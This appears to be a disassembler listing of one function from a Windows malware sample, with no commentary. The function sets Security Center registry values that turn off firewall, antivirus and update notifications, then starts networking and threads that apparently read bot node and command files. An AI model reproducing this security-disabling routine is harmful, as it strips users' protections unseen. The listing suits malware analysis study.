call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x424]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406d38
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x4112cc
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x4112e0
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4112f8
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x41130c
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x411320
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x411338
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x411348
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406e44
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.FirewallOverride
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.FirewallDisableNotify
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiSpywareOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiVirusOverride
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiVirusDisableNotify
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.UpdatesOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.UpdatesDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040bbb0
movzx eax, al
test eax, eax
je 0x406faf
lea ecx, [ebp - 0xc58]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea edx, [ebp - 0xa48]
push edx
push str._s_tnnodes.dat
push 0x414ce8
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0xa48]
push eax
push str._s_tncmds.dat
push 0x4146c8
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x403f00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x404fb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405800
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404100
call fcn.0040db90
call fcn.004056b0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x414f0c], eax
call fcn.0040b2e0
mov dword [0x414f14], eax
call fcn.0040c660
mov dword [0x414f10], eax
call fcn.0040a730
push 0
push 0
push 0
push 0x40cb20
push 0
mov ecx, dword [0x414f10]
push ecx
call fcn.0040c710
add esp, 0x18
push 0
push 0
push 0
push 0x40ca80
push 0
mov edx, dword [0x414f10]
push edx
call fcn.0040c710
add esp, 0x18
push 0
push 0
push 0
push 0x40c610
push 0
mov eax, dword [0x414f10]
push eax
call fcn.0040c710
add esp, 0x18
push 0
push 0
push 0
push 0x40c410
push 0
mov ecx, dword [0x414f10]
push ecx
call fcn.0040c710
add esp, 0x18
jmp 0x406fb3
xor eax, eax
mov esp, ebp
pop ebp
ret